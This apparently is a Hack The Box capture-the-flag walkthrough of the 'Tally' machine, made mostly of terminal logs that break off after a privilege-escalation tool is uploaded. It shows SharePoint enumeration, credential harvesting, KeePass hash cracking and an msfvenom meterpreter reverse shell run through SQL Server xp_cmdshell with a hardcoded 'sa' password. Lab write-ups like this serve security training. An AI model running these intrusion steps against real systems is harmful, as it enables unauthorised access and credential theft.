<p><img alt="0tally" src="https://imgur.com/RbDew5F.jpg"></p>
<p>http://10.10.10.59/default.aspx</p>
<p><img alt="1tally" src="https://imgur.com/d7ro1by.jpg"></p>
<p>root@kali:<del># git clone <a href="https://github.com/sensepost/SPartan.git">https://github.com/sensepost/SPartan.git</a><br>
Cloning into &lsquo;SPartan&rsquo;&hellip;<br>
remote: Counting objects: 68, done.<br>
remote: Total 68 (delta 0), reused 0 (delta 0), pack-reused 67<br>
Unpacking objects: 100% (68/68), done.<br>
root@kali:</del># cd SPartan/<br>
root@kali:<del>/SPartan# ls<br>
dir.txt front_bin.txt front_pvt.txt front_services.txt front_serv.txt README.md requirements.txt SPartan.py sp_catalogs.txt sp_forms.txt sp_layouts.txt<br>
root@kali:</del>/SPartan# pip install -r requirements.txt<br>
Collecting beautifulsoup4==4.4.1 (from -r requirements.txt (line 1))<br>
Downloading <a href="https://files.pythonhosted.org/packages/33/62/f3e97eaa87fc4de0cb9b8c51d253cf0df621c6de6b25164dcbab203e5ff7/beautifulsoup4-4.4.1-py2-none-any.whl">https://files.pythonhosted.org/packages/33/62/f3e97eaa87fc4de0cb9b8c51d253cf0df621c6de6b25164dcbab203e5ff7/beautifulsoup4-4.4.1-py2-none-any.whl</a> (81kB)<br>
100% |████████████████████████████████| 81kB 44kB/s<br>
Collecting python-ntlm3==1.0.2 (from -r requirements.txt (line 2))<br>
Downloading <a href="https://files.pythonhosted.org/packages/4b/4e/d5d79626fcaeb2a378c1ec2eaddf0d7b608f339878baec4b768644cf8987/python_ntlm3-1.0.2-py2.py3-none-any.whl">https://files.pythonhosted.org/packages/4b/4e/d5d79626fcaeb2a378c1ec2eaddf0d7b608f339878baec4b768644cf8987/python_ntlm3-1.0.2-py2.py3-none-any.whl</a><br>
Collecting requests==2.8.1 (from -r requirements.txt (line 3))<br>
Downloading <a href="https://files.pythonhosted.org/packages/c0/0f/a911a44c89ba01b23d8fe3defbdfca1e962de6f11a11da32658902cdc2a4/requests-2.8.1-py2.py3-none-any.whl">https://files.pythonhosted.org/packages/c0/0f/a911a44c89ba01b23d8fe3defbdfca1e962de6f11a11da32658902cdc2a4/requests-2.8.1-py2.py3-none-any.whl</a> (497kB)<br>
100% |████████████████████████████████| 501kB 108kB/s<br>
Collecting requests-ntlm==0.2.0 (from -r requirements.txt (line 4))<br>
Downloading <a href="https://files.pythonhosted.org/packages/fd/7e/49ac64a0a784d4ac5e3667a6224b45e0d7de881a40ab919ef18f19195801/requests_ntlm-0.2.0.tar.gz">https://files.pythonhosted.org/packages/fd/7e/49ac64a0a784d4ac5e3667a6224b45e0d7de881a40ab919ef18f19195801/requests_ntlm-0.2.0.tar.gz</a><br>
Collecting six==1.10.0 (from -r requirements.txt (line 5))<br>
Downloading <a href="https://files.pythonhosted.org/packages/c8/0a/b6723e1bc4c516cb687841499455a8505b44607ab535be01091c0f24f079/six-1.10.0-py2.py3-none-any.whl">https://files.pythonhosted.org/packages/c8/0a/b6723e1bc4c516cb687841499455a8505b44607ab535be01091c0f24f079/six-1.10.0-py2.py3-none-any.whl</a><br>
Building wheels for collected packages: requests-ntlm<br>
Running setup.py bdist_wheel for requests-ntlm &hellip; done<br>
Stored in directory: /root/.cache/pip/wheels/da/78/e1/c4b4acb24f069e2997fddae0c635a7f48cbfcbbb8a09e9f7b0<br>
Successfully built requests-ntlm<br>
Installing collected packages: beautifulsoup4, six, python-ntlm3, requests, requests-ntlm<br>
Found existing installation: beautifulsoup4 4.6.0<br>
Not uninstalling beautifulsoup4 at /usr/lib/python2.7/dist-packages, outside environment /usr<br>
Found existing installation: six 1.11.0<br>
Not uninstalling six at /usr/lib/python2.7/dist-packages, outside environment /usr<br>
Found existing installation: requests 2.18.4<br>
Not uninstalling requests at /usr/lib/python2.7/dist-packages, outside environment /usr<br>
Successfully installed beautifulsoup4-4.4.1 python-ntlm3-1.0.2 requests-2.8.1 requests-ntlm-0.2.0 six-1.10.0<br>
root@kali:<del>/SPartan# python SPartan.py -h<br>
Traceback (most recent call last):<br>
File &ldquo;SPartan.py&rdquo;, line 25, in <!-- raw HTML omitted --><br>
import argparse,requests,sys,os,threading,bs4,warnings,random<br>
File &ldquo;/usr/local/lib/python2.7/dist-packages/bs4/<strong>init</strong>.py&rdquo;, line 30, in <!-- raw HTML omitted --><br>
from .builder import builder_registry, ParserRejectedMarkup<br>
File &ldquo;/usr/local/lib/python2.7/dist-packages/bs4/builder/<strong>init</strong>.py&rdquo;, line 314, in <!-- raw HTML omitted --><br>
from . import _html5lib<br>
File &ldquo;/usr/local/lib/python2.7/dist-packages/bs4/builder/_html5lib.py&rdquo;, line 70, in <!-- raw HTML omitted --><br>
class TreeBuilderForHtml5lib(html5lib.treebuilders._base.TreeBuilder):<br>
AttributeError: &lsquo;module&rsquo; object has no attribute &lsquo;_base&rsquo;<br>
root@kali:</del>/SPartan# pip install &ndash;upgrade beautifulsoup4<br>
Collecting beautifulsoup4<br>
Downloading <a href="https://files.pythonhosted.org/packages/a6/29/bcbd41a916ad3faf517780a0af7d0254e8d6722ff6414723eedba4334531/beautifulsoup4-4.6.0-py2-none-any.whl">https://files.pythonhosted.org/packages/a6/29/bcbd41a916ad3faf517780a0af7d0254e8d6722ff6414723eedba4334531/beautifulsoup4-4.6.0-py2-none-any.whl</a> (86kB)<br>
100% |████████████████████████████████| 92kB 94kB/s<br>
Installing collected packages: beautifulsoup4<br>
Found existing installation: beautifulsoup4 4.4.1<br>
Uninstalling beautifulsoup4-4.4.1:<br>
Successfully uninstalled beautifulsoup4-4.4.1<br>
Successfully installed beautifulsoup4-4.6.0</p>
<p>root@kali:~/SPartan# python SPartan.py -h</p>
<p>Sharepoint &amp; Frontpage Scanner</p>
<p>usage: SPartan [-h] [-u URL] [-c] [-f] [-k KEYWORD] [-s] [&ndash;sps] [&ndash;users]<br>
[-r RPC] [-t THREAD] [-p] [&ndash;cookie COOKIE] [-d]<br>
[-l domain\user:password] [-v] [-i]</p>
<p>optional arguments:<br>
-h, &ndash;help show this help message and exit<br>
-u URL host URL to scan including HTTP/HTTPS<br>
-c crawl the site for links (CTRL-C to stop crawling)<br>
-f perform frontpage scans<br>
-k KEYWORD scrape identified pages for keywords (works well with<br>
crawl)<br>
-s perform sharepoint scans<br>
&ndash;sps discover sharepoint SOAP services<br>
&ndash;users List users using Search Principals<br>
-r RPC (COMING SOON)execute a specified Frontpage RPC query<br>
-t THREAD set maximum amount of threads (10 default)<br>
-p (COMING SOON)find putable directories<br>
&ndash;cookie COOKIE use a cookie for authenticated scans<br>
-d download pdf, doc, docx, txt, config, xml, xls, xlsx,<br>
webpart, config, conf, stp, csv and<br>
asp/aspx(uninterpreted)<br>
-l domain\user:password<br>
provide credentials for authentication to Sharepoint<br>
-v, &ndash;verbose Render verbose output. By default SPartan will only<br>
render found resources.<br>
-i, &ndash;ignore-ssl-verification<br>
Don&rsquo;t attempt to verify SSL certificates as valid<br>
before making a request. This is defaulted to false.</p>
<p>root@kali:~/SPartan# python SPartan.py -u http://10.10.10.59 -f -c -s -v</p>
<p>Verbosity is set to HIGH. Spartan will print all resources found.<br>
[+] [0][200][27138b] - http://10.10.10.59</p>
<hr>
<p>[+] Initiating Frontpage fingerprinting&hellip;</p>
<p>[&hellip;]</p>
<hr>
<p>[+] Initiating Frontpage pvt scan&hellip;</p>
<p>[&hellip;]</p>
<!-- raw HTML omitted -->
<!-- raw HTML omitted -->
<p>[&hellip;]</p>
<hr>
<p>[+] Initiating Frontpage service scan&hellip;</p>
<p>[&hellip;]</p>
<hr>
<hr>
<p>[+] Initiating Sharepoint fingerprinting&hellip;</p>
<p>[&hellip;]</p>
<hr>
<p>[+] Initiating Sharepoint layouts scan&hellip;</p>
<p>[&hellip;]</p>
<hr>
<p>[+] Initiating Sharepoint forms scan&hellip;</p>
<p>[&hellip;]</p>
<hr>
<p>[+] Initiating Sharepoint catalogs scan&hellip;<br>
[&hellip;]<br>
[+] [143][200][27138b] - http://10.10.10.59/SitePages<br>
[&hellip;]<br>
[+] [147][200][62805b] - http://10.10.10.59/Shared%20Documents/Forms/AllItems.aspx</p>
<p>[&hellip;]</p>
<hr>
<p>http://10.10.10.59/_layouts/15/start.aspx#/SitePages/Forms/AllPages.aspx</p>
<p>http://10.10.10.59/SitePages/Forms/AllPages.aspx</p>
<p><img alt="2tally" src="https://imgur.com/oFhC9Vo.jpg"></p>
<p>http://10.10.10.59/_layouts/15/start.aspx#//SitePages/FinanceTeam.aspx</p>
<p>http://10.10.10.59/SitePages/FinanceTeam.aspx</p>
<p>Migration update</p>
<p>Hi all,</p>
<p>Welcome to your new team page!</p>
<p>As always, there&rsquo;s still a few finishing touches to make. Rahul - please upload the design mock ups to the Intranet folder as &lsquo;index.html&rsquo; using the ftp_user account - I aim to review regularly.</p>
<p>We&rsquo;ll also add the fund and client account pages in due course.</p>
<p>Thanks – Sarah &amp; Tim.</p>
<p>http://10.10.10.59/Shared%20Documents/Forms/AllItems.aspx</p>
<p><img alt="3tally" src="https://imgur.com/nyPvyOo.jpg"></p>
<p>Download ftp-detailx.txt</p>
<p>root@kali:<del>/Downloads# docx2txt ftp-details.docx ftp-details.txt<br>
root@kali:</del>/Downloads# cat ftp-details.txt<br>
FTP details<br>
hostname: tally<br>
workgroup: htb.local<br>
password: UTDRSCH53c&quot;$6hys<br>
Please create your own user folder upon logging in</p>
<p>Filezilla</p>
<p><img alt="4tally" src="https://imgur.com/dQplUxE.jpg"></p>
<p><img alt="5tally" src="https://imgur.com/CsAgN6G.jpg"></p>
<p>/User/Tim/Files</p>
<p>tim.kdbx</p>
<p>root@kali:<del># keepass2john tim.kdbx &gt; hash<br>
root@kali:</del># john &ndash;format=KeePass &ndash;wordlist=/usr/share/wordlists/rockyou.txt hash<br>
Created directory: /root/.john<br>
Using default input encoding: UTF-8<br>
Loaded 1 password hash (KeePass [SHA256 AES 32/64 OpenSSL])<br>
Press &lsquo;q&rsquo; or Ctrl-C to abort, almost any other key for status<br>
simplementeyo (tim)<br>
1g 0:00:00:22 DONE (2018-05-15 05:42) 0.04363g/s 1077p/s 1077c/s 1077C/s simplementeyo<br>
Use the &ldquo;&ndash;show&rdquo; option to display all of the cracked passwords reliably<br>
Session completed</p>
<p>root@kali:~# keepass2 tim.kdbx</p>
<p><img alt="6tally" src="https://imgur.com/DJ0dq2k.jpg"></p>
<p><img alt="7tally" src="https://imgur.com/DQV5MVo.jpg"></p>
<p><img alt="8tally" src="https://imgur.com/lB0epYf.jpg"></p>
<p>root@kali:<del># git clone <a href="https://github.com/CoreSecurity/impacket.git">https://github.com/CoreSecurity/impacket.git</a><br>
Cloning into &lsquo;impacket&rsquo;&hellip;<br>
remote: Counting objects: 13553, done.<br>
remote: Compressing objects: 100% (86/86), done.<br>
remote: Total 13553 (delta 73), reused 71 (delta 50), pack-reused 13417<br>
Receiving objects: 100% (13553/13553), 4.73 MiB | 354.00 KiB/s, done.<br>
Resolving deltas: 100% (10233/10233), done.<br>
root@kali:</del># cd impacket/<br>
root@kali:~/impacket# pip install -r requirements.txt<br>
Requirement already satisfied: pyasn1&gt;=0.2.3 in /usr/lib/python2.7/dist-packages (from -r requirements.txt (line 1))<br>
Requirement already satisfied: pycrypto&gt;=2.6.1 in /usr/lib/python2.7/dist-packages (from -r requirements.txt (line 2))<br>
Requirement already satisfied: pyOpenSSL&gt;=0.13.1 in /usr/lib/python2.7/dist-packages (from -r requirements.txt (line 3))<br>
Collecting ldap3&gt;=2.5.0 (from -r requirements.txt (line 4))<br>
Downloading <a href="https://files.pythonhosted.org/packages/f6/d9/a9db559375543af5ff950198a433bbc34bf7e8afbd32ab22231d0959710a/ldap3-2.5-py2.py3-none-any.whl">https://files.pythonhosted.org/packages/f6/d9/a9db559375543af5ff950198a433bbc34bf7e8afbd32ab22231d0959710a/ldap3-2.5-py2.py3-none-any.whl</a> (374kB)<br>
100% |████████████████████████████████| 378kB 168kB/s<br>
Collecting ldapdomaindump (from -r requirements.txt (line 5))<br>
Downloading <a href="https://files.pythonhosted.org/packages/b4/6a/7b964459fa7029fab62319c06ef6cd876417508df8650f662a8c9b29e99d/ldapdomaindump-0.8.5-py2-none-any.whl">https://files.pythonhosted.org/packages/b4/6a/7b964459fa7029fab62319c06ef6cd876417508df8650f662a8c9b29e99d/ldapdomaindump-0.8.5-py2-none-any.whl</a><br>
Requirement already satisfied: flask in /usr/lib/python2.7/dist-packages (from -r requirements.txt (line 6))<br>
Requirement already satisfied: dnspython in /usr/lib/python2.7/dist-packages (from ldapdomaindump-&gt;-r requirements.txt (line 5))<br>
Installing collected packages: ldap3, ldapdomaindump<br>
Successfully installed ldap3-2.5 ldapdomaindump-0.8.5</p>
<p>root@kali:~/impacket# python setup.py install<br>
/usr/lib/python2.7/dist-packages/setuptools/dist.py:397: UserWarning: Normalizing &lsquo;0.9.17-dev&rsquo; to &lsquo;0.9.17.dev0&rsquo;<br>
normalized_version,<br>
running install<br>
running bdist_egg<br>
running egg_info<br>
creating impacket.egg-info<br>
writing requirements to impacket.egg-info/requires.txt<br>
writing impacket.egg-info/PKG-INFO<br>
writing top-level names to impacket.egg-info/top_level.txt<br>
writing dependency_links to impacket.egg-info/dependency_links.txt<br>
writing manifest file &lsquo;impacket.egg-info/SOURCES.txt&rsquo;<br>
reading manifest file &lsquo;impacket.egg-info/SOURCES.txt&rsquo;</p>
<p>[&hellip;]</p>
<p>Using /usr/local/lib/python2.7/dist-packages<br>
Searching for ldap3==2.5<br>
Best match: ldap3 2.5<br>
Adding ldap3 2.5 to easy-install.pth file</p>
<p>Using /usr/local/lib/python2.7/dist-packages<br>
Searching for Flask==0.12.2<br>
Best match: Flask 0.12.2<br>
Adding Flask 0.12.2 to easy-install.pth file<br>
Installing flask script to /usr/local/bin</p>
<p>Using /usr/lib/python2.7/dist-packages<br>
Searching for dnspython==1.15.0<br>
Best match: dnspython 1.15.0<br>
Adding dnspython 1.15.0 to easy-install.pth file</p>
<p>Using /usr/lib/python2.7/dist-packages<br>
Finished processing dependencies for impacket==0.9.17.dev0<br>
root@kali:~/impacket#</p>
<p>root@kali:~/impacket# smbclient.py -h<br>
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies</p>
<p>usage: smbclient.py [-h] [-file FILE] [-debug] [-hashes LMHASH:NTHASH]<br>
[-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address]<br>
[-target-ip ip address] [-port [destination port]]<br>
target</p>
<p>SMB client implementation.</p>
<p>positional arguments:<br>
target [[domain/]username[:password]@]<!-- raw HTML omitted --></p>
<p>optional arguments:<br>
-h, &ndash;help show this help message and exit<br>
-file FILE input file with commands to execute in the mini shell<br>
-debug Turn DEBUG output ON</p>
<p>authentication:<br>
-hashes LMHASH:NTHASH<br>
NTLM hashes, format is LMHASH:NTHASH<br>
-no-pass don&rsquo;t ask for password (useful for -k)<br>
-k Use Kerberos authentication. Grabs credentials from<br>
ccache file (KRB5CCNAME) based on target parameters.<br>
If valid credentials cannot be found, it will use the<br>
ones specified in the command line<br>
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256<br>
bits)</p>
<p>connection:<br>
-dc-ip ip address IP Address of the domain controller. If omitted it<br>
will use the domain part (FQDN) specified in the<br>
target parameter<br>
-target-ip ip address<br>
IP Address of the target machine. If omitted it will<br>
use whatever was specified as target. This is useful<br>
when target is the NetBIOS name and you cannot resolve<br>
it<br>
-port [destination port]<br>
Destination port to connect to SMB Server</p>
<p>root@kali:~# smbclient.py Finance:Acc0unting@10.10.10.59<br>
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies</p>
<p>Type help for list of commands</p>
<h1 id="help">help</h1>
<p>open {host,port=445} - opens a SMB connection against the target host/port<br>
login {domain/username,passwd} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it&rsquo;ll be prompted<br>
kerberos_login {domain/username,passwd} - logs into the current SMB connection using Kerberos. If no password specified, it&rsquo;ll be prompted. Use the DNS resolvable domain name<br>
login_hash {domain/username,lmhash:nthash} - logs into the current SMB connection using the password hashes<br>
logoff - logs off<br>
shares - list available shares<br>
use {sharename} - connect to an specific share<br>
cd {path} - changes the current directory to {path}<br>
lcd {path} - changes the current local directory to {path}<br>
pwd - shows current remote directory<br>
password - changes the user password, the new password will be prompted for input<br>
ls {wildcard} - lists all the files in the current directory<br>
rm {file} - removes the selected file<br>
mkdir {dirname} - creates the directory under the current path<br>
rmdir {dirname} - removes the directory under the current path<br>
put {filename} - uploads the filename into the current path<br>
get {filename} - downloads the filename from the current path<br>
info - returns NetrServerInfo main results<br>
who - returns the sessions currently connected at the target host (admin required)<br>
close - closes the current SMB Session<br>
exit - terminates the server process (and this session)</p>
<h1 id="shares">shares</h1>
<p>ACCT<br>
ADMIN$<br>
C$<br>
IPC$</p>
<h1 id="use-acct">use ACCT</h1>
<h1 id="ls">ls</h1>
<p>drw-rw-rw- 0 Thu Sep 21 02:27:54 2017 .<br>
drw-rw-rw- 0 Thu Sep 21 02:27:54 2017 ..<br>
drw-rw-rw- 0 Thu Sep 21 02:27:49 2017 Customers<br>
drw-rw-rw- 0 Thu Sep 21 02:27:49 2017 Fees<br>
drw-rw-rw- 0 Thu Sep 21 02:27:49 2017 Invoices<br>
drw-rw-rw- 0 Thu Sep 21 02:27:49 2017 Jess<br>
drw-rw-rw- 0 Thu Sep 21 02:27:49 2017 Payroll<br>
drw-rw-rw- 0 Thu Sep 21 02:27:49 2017 Reports<br>
drw-rw-rw- 0 Thu Sep 21 02:27:49 2017 Tax<br>
drw-rw-rw- 0 Thu Sep 21 02:27:49 2017 Transactions<br>
drw-rw-rw- 0 Thu Sep 21 02:27:49 2017 zz_Archived<br>
drw-rw-rw- 0 Thu Sep 21 02:27:54 2017 zz_Migration</p>
<h1 id="cd-zz_migration">cd zz_Migration</h1>
<h1 id="ls-1">ls</h1>
<p>drw-rw-rw- 0 Thu Sep 21 02:27:54 2017 .<br>
drw-rw-rw- 0 Thu Sep 21 02:27:54 2017 ..<br>
drw-rw-rw- 0 Thu Sep 21 02:27:52 2017 Backup<br>
drw-rw-rw- 0 Thu Sep 21 02:27:54 2017 Binaries<br>
-rw-rw-rw- 11762 Thu Sep 21 02:27:54 2017 install-notes.txt<br>
drw-rw-rw- 0 Thu Sep 21 02:27:54 2017 Integration<br>
-rw-rw-rw- 406181 Thu Sep 21 02:27:54 2017 Sage 50 v1.9.3.1 Hotfix 1 Release Notes.pdf</p>
<h1 id="cd-binaries">cd Binaries</h1>
<h1 id="ls-2">ls</h1>
<p>drw-rw-rw- 0 Thu Sep 21 02:27:54 2017 .<br>
drw-rw-rw- 0 Thu Sep 21 02:27:54 2017 ..<br>
drw-rw-rw- 0 Thu Sep 21 02:27:52 2017 CardReader<br>
drw-rw-rw- 0 Thu Sep 21 02:27:52 2017 Evals<br>
-rw-rw-rw- 2241216 Thu Sep 21 02:27:52 2017 FileZilla_Server-0_9_60_2.exe<br>
-rw-rw-rw- 74110 Thu Sep 21 02:27:52 2017 ImportGSTIN.zip<br>
-rw-rw-rw- 69999448 Thu Sep 21 02:27:52 2017 NDP452-KB2901907-x86-x64-AllOS-ENU.exe<br>
drw-rw-rw- 0 Thu Sep 21 02:27:52 2017 New folder<br>
-rw-rw-rw- 401347664 Thu Sep 21 02:27:52 2017 Sage50_2017.2.0.exe<br>
drw-rw-rw- 0 Thu Sep 21 02:27:54 2017 Tally.ERP 9 Release 6<br>
-rw-rw-rw- 645729 Thu Sep 21 02:27:54 2017 windirstat1_1_2_setup.exe</p>
<h1 id="cd-new-folder">cd New folder</h1>
<h1 id="ls-3">ls</h1>
<p>drw-rw-rw- 0 Thu Sep 21 02:27:52 2017 .<br>
drw-rw-rw- 0 Thu Sep 21 02:27:52 2017 ..<br>
-rw-rw-rw- 389188014 Thu Sep 21 02:27:52 2017 crystal_reports_viewer_2016_sp04_51051980.zip<br>
-rw-rw-rw- 18159024 Thu Sep 21 02:27:52 2017 Macabacus2016.exe<br>
-rw-rw-rw- 21906356 Thu Sep 21 02:27:52 2017 Orchard.Web.1.7.3.zip<br>
-rw-rw-rw- 774200 Thu Sep 21 02:27:52 2017 putty.exe<br>
-rw-rw-rw- 483824 Thu Sep 21 02:27:52 2017 RpprtSetup.exe<br>
-rw-rw-rw- 254599112 Thu Sep 21 02:27:52 2017 tableau-desktop-32bit-10-3-2.exe<br>
-rw-rw-rw- 215552 Thu Sep 21 02:26:38 2017 tester.exe<br>
-rw-rw-rw- 7194312 Thu Sep 21 02:27:52 2017 vcredist_x64.exe</p>
<h1 id="get-testerexe">get tester.exe</h1>
<h1 id="exit">exit</h1>
<p>root@kali:~#</p>
<p>root@kali:~# strings tester.exe</p>
<p>[&hellip;]</p>
<dl>
<dt>2$2,242&lt;2D2L2T2\2d2l2t2|2</dt>
<dt>3$3,343&lt;3D3L3T3\3d3l3t3|3</dt>
<dt>4$4,444&lt;4D4L4T4\4d4l4t4|4</dt>
<dt>5$5,545&lt;5D5L5T5\5d5l5t5|5</dt>
<dt>6$6,646&lt;6D6L6T6\6d6l6t6|6</dt>
<dt>7$7,747&lt;7D7L7T7\7d7l7t7|7</dt>
<dt>8$8,848&lt;8D8L8T8\8d8l8t8|8</dt>
<dt>9 9(90989@9H9P9X9`9h9p9x9</dt>
<dd>:(:0:8:@:H:P:X:<code>:h:p:x:   ; ;(;0;8;@;H;P;X;</code>;h;p;x;<br>
&lt; &lt;(&lt;0&lt;8&lt;@&lt;H&lt;P&lt;X&lt;<code>&lt;h&lt;p&lt;x&lt;   = =(=0=8=@=H=P=X=</code>=h=p=x=</dd>
</dl>
<blockquote>
<blockquote>
<p>(&gt;0&gt;8&gt;@&gt;H&gt;P&gt;X&gt;<code>&gt;h&gt;p&gt;x&gt;   ? ?(?0?8?@?H?P?X?</code>?h?p?x?<br>
343D3H3X3\3<code>3h3   404@4D4H4L4T4l4|4   5,5054585&lt;5@5H5</code>5p5t5<br>
6 6$6(6,646L6\6`6p6t6x6<br>
7 7(7@7P7T7d7h7l7p7t7|7</p>
</blockquote>
</blockquote>
<p>[&hellip;]</p>
<p>root@kali:~# strings tester.exe | grep &ldquo;SQL&rdquo;<br>
SQLSTATE:<br>
DRIVER={SQL Server};SERVER=TALLY, 1433;DATABASE=orcharddb;UID=sa;PWD=GWE3V65#6KFH93@4GWTG2G;</p>
<p>root@kali:~# ifconfig tun0<br>
tun0: flags=4305&lt;UP,POINTOPOINT,RUNNING,NOARP,MULTICAST&gt; mtu 1500<br>
inet 10.10.14.64 netmask 255.255.254.0 destination 10.10.14.64<br>
inet6 fe80::fb61:823a:e66a:4967 prefixlen 64 scopeid 0x20<!-- raw HTML omitted --><br>
inet6 dead:beef:2::103e prefixlen 64 scopeid 0x0<!-- raw HTML omitted --><br>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 100 (UNSPEC)<br>
RX packets 6424 bytes 6327559 (6.0 MiB)<br>
RX errors 0 dropped 0 overruns 0 frame 0<br>
TX packets 6995 bytes 545347 (532.5 KiB)<br>
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0</p>
<p>root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.64 LPORT=4444 -f psh-reflection -o payload.ps1<br>
No platform was selected, choosing Msf::Module::Platform::Windows from the payload<br>
No Arch selected, selecting Arch: x64 from the payload<br>
No encoder or badchars specified, outputting raw payload<br>
Payload size: 510 bytes<br>
Final size of psh-reflection file: 2776 bytes<br>
Saved as: payload.ps1</p>
<p>root@kali:~# msfconsole</p>
<p>msf &gt; use exploit/multi/handler<br>
msf exploit(multi/handler) &gt; set payload windows/x64/meterpreter/reverse_tcp<br>
payload =&gt; windows/x64/meterpreter/reverse_tcp</p>
<p>msf exploit(multi/handler) &gt; show options</p>
<p>Module options (exploit/multi/handler):</p>
<p>Name Current Setting Required Description</p>
<hr>
<p>Payload options (windows/x64/meterpreter/reverse_tcp):</p>
<p>Name Current Setting Required Description</p>
<hr>
<p>EXITFUNC process yes Exit technique (Accepted: &lsquo;&rsquo;, seh, thread, process, none)<br>
LHOST yes The listen address<br>
LPORT 4444 yes The listen port</p>
<p>Exploit target:</p>
<p>Id Name</p>
<hr>
<p>0 Wildcard Target</p>
<p>msf exploit(multi/handler) &gt; set lhost 10.10.14.64<br>
lhost =&gt; 10.10.14.64<br>
msf exploit(multi/handler) &gt; exploit</p>
<p>[*] Started reverse TCP handler on 10.10.14.64:4444</p>
<p>upload payload via filzeilla</p>
<p><img alt="9tally" src="https://imgur.com/GM1LQpH.jpg"></p>
<p>msf &gt; use auxiliary/admin/mssql/mssql_exec<br>
msf auxiliary(admin/mssql/mssql_exec) &gt; show options</p>
<p>Module options (auxiliary/admin/mssql/mssql_exec):</p>
<p>Name Current Setting Required Description</p>
<hr>
<p>CMD cmd.exe /c echo OWNED &gt; C:\owned.exe no Command to execute<br>
PASSWORD no The password for the specified username<br>
RHOST yes The target address<br>
RPORT 1433 yes The target port (TCP)<br>
TDSENCRYPTION false yes Use TLS/SSL for TDS data &ldquo;Force Encryption&rdquo;<br>
USERNAME sa no The username to authenticate as<br>
USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set)</p>
<p>msf auxiliary(admin/mssql/mssql_exec) &gt; set cmd &ldquo;powershell -ExecutionPolicy bypass -NoExit -File C:\FTP\Intranet\payload.ps1&rdquo;<br>
cmd =&gt; powershell -ExecutionPolcy bypass -NoExit -File C:\FTP\Intranet\payload.ps1<br>
msf auxiliary(admin/mssql/mssql_exec) &gt; set rhost 10.10.10.59<br>
rhost =&gt; 10.10.10.59<br>
msf auxiliary(admin/mssql/mssql_exec) &gt; set password GWE3V65#6KFH93@4GWTG2G<br>
password =&gt; GWE3V65#6KFH93@4GWTG2G</p>
<p>msf auxiliary(admin/mssql/mssql_exec) &gt; exploit</p>
<p>[<em>] 10.10.10.59:1433 - SQL Query: EXEC master..xp_cmdshell &lsquo;powershell -ExecutionPolicy bypass -NoExit -File C:\FTP\Intranet\payload.ps1&rsquo;<br>
[</em>] Auxiliary module execution completed</p>
<p>[<em>] Started reverse TCP handler on 10.10.14.64:4444<br>
[</em>] Sending stage (206403 bytes) to 10.10.10.59<br>
[*] Meterpreter session 1 opened (10.10.14.64:4444 -&gt; 10.10.10.59:49980) at 2018-05-15 06:07:16 -0400</p>
<p>meterpreter &gt;</p>
<h1 id="listing-cusers">meterpreter &gt; getuid<br>
Server username: TALLY\Sarah<br>
meterpreter &gt; cd C:\Users<br>
meterpreter &gt; ls<br>
Listing: C:\Users</h1>
<p>Mode Size Type Last modified Name</p>
<hr>
<p>40777/rwxrwxrwx 0 dir 2017-09-18 17:35:37 -0400 .NET v2.0<br>
40777/rwxrwxrwx 0 dir 2017-09-18 17:35:36 -0400 .NET v2.0 Classic<br>
40777/rwxrwxrwx 0 dir 2017-08-29 20:14:29 -0400 .NET v4.5<br>
40777/rwxrwxrwx 0 dir 2017-08-29 20:14:27 -0400 .NET v4.5 Classic<br>
40777/rwxrwxrwx 8192 dir 2017-09-17 16:33:42 -0400 Administrator<br>
40777/rwxrwxrwx 0 dir 2016-07-16 09:34:35 -0400 All Users<br>
40777/rwxrwxrwx 0 dir 2017-09-18 17:35:34 -0400 Classic .NET AppPool<br>
40555/r-xr-xr-x 0 dir 2017-08-28 10:43:27 -0400 Default<br>
40777/rwxrwxrwx 0 dir 2016-07-16 09:34:35 -0400 Default User<br>
40555/r-xr-xr-x 4096 dir 2016-11-20 20:24:46 -0500 Public<br>
40777/rwxrwxrwx 8192 dir 2017-10-12 16:28:53 -0400 SQLSERVERAGENT<br>
40777/rwxrwxrwx 8192 dir 2017-09-02 17:46:27 -0400 SQLTELEMETRY<br>
40777/rwxrwxrwx 8192 dir 2017-10-13 18:57:55 -0400 Sarah<br>
40777/rwxrwxrwx 0 dir 2017-09-13 16:27:16 -0400 Tim<br>
100666/rw-rw-rw- 174 fil 2016-07-16 09:21:29 -0400 desktop.ini</p>
<h1 id="listing-cuserssarahdesktop">meterpreter &gt; cd Sarah\Desktop<br>
meterpreter &gt; ls<br>
Listing: C:\Users\Sarah\Desktop</h1>
<p>Mode Size Type Last modified Name</p>
<hr>
<p>100666/rw-rw-rw- 845 fil 2017-09-17 16:50:12 -0400 FTP.lnk<br>
100666/rw-rw-rw- 17152 fil 2017-10-19 16:49:59 -0400 SPBestWarmUp.ps1<br>
100666/rw-rw-rw- 11010 fil 2017-10-19 17:48:44 -0400 SPBestWarmUp.xml<br>
100666/rw-rw-rw- 1914 fil 2017-09-17 16:48:49 -0400 SQLCMD.lnk<br>
100555/r-xr-xr-x 916 fil 2017-10-01 17:32:39 -0400 browser.bat<br>
100666/rw-rw-rw- 282 fil 2017-08-31 17:57:02 -0400 desktop.ini<br>
100666/rw-rw-rw- 297 fil 2017-09-23 16:11:01 -0400 note to tim (draft).txt<br>
100666/rw-rw-rw- 129 fil 2017-09-20 19:46:51 -0400 todo.txt<br>
100444/r&ndash;r&ndash;r&ndash; 32 fil 2017-08-30 21:04:26 -0400 user.txt<br>
100666/rw-rw-rw- 936 fil 2017-09-17 16:49:32 -0400 zz_Migration.lnk</p>
<p>meterpreter &gt; cat user.txt<br>
be7#########################bb1meterpreter &gt;</p>
<h1 id="listing-cuserssarahdesktop-1">meterpreter &gt; upload /root/rottenpotato.exe<br>
[<em>] uploading : /root/rottenpotato.exe -&gt; rottenpotato.exe<br>
[</em>] Uploaded 664.00 KiB of 664.00 KiB (100.0%): /root/rottenpotato.exe -&gt; rottenpotato.exe<br>
[*] uploaded : /root/rottenpotato.exe -&gt; rottenpotato.exe<br>
meterpreter &gt; ls<br>
Listing: C:\Users\Sarah\Desktop</h1>
<p>Mode Size Type Last modified Name</p>
<hr>
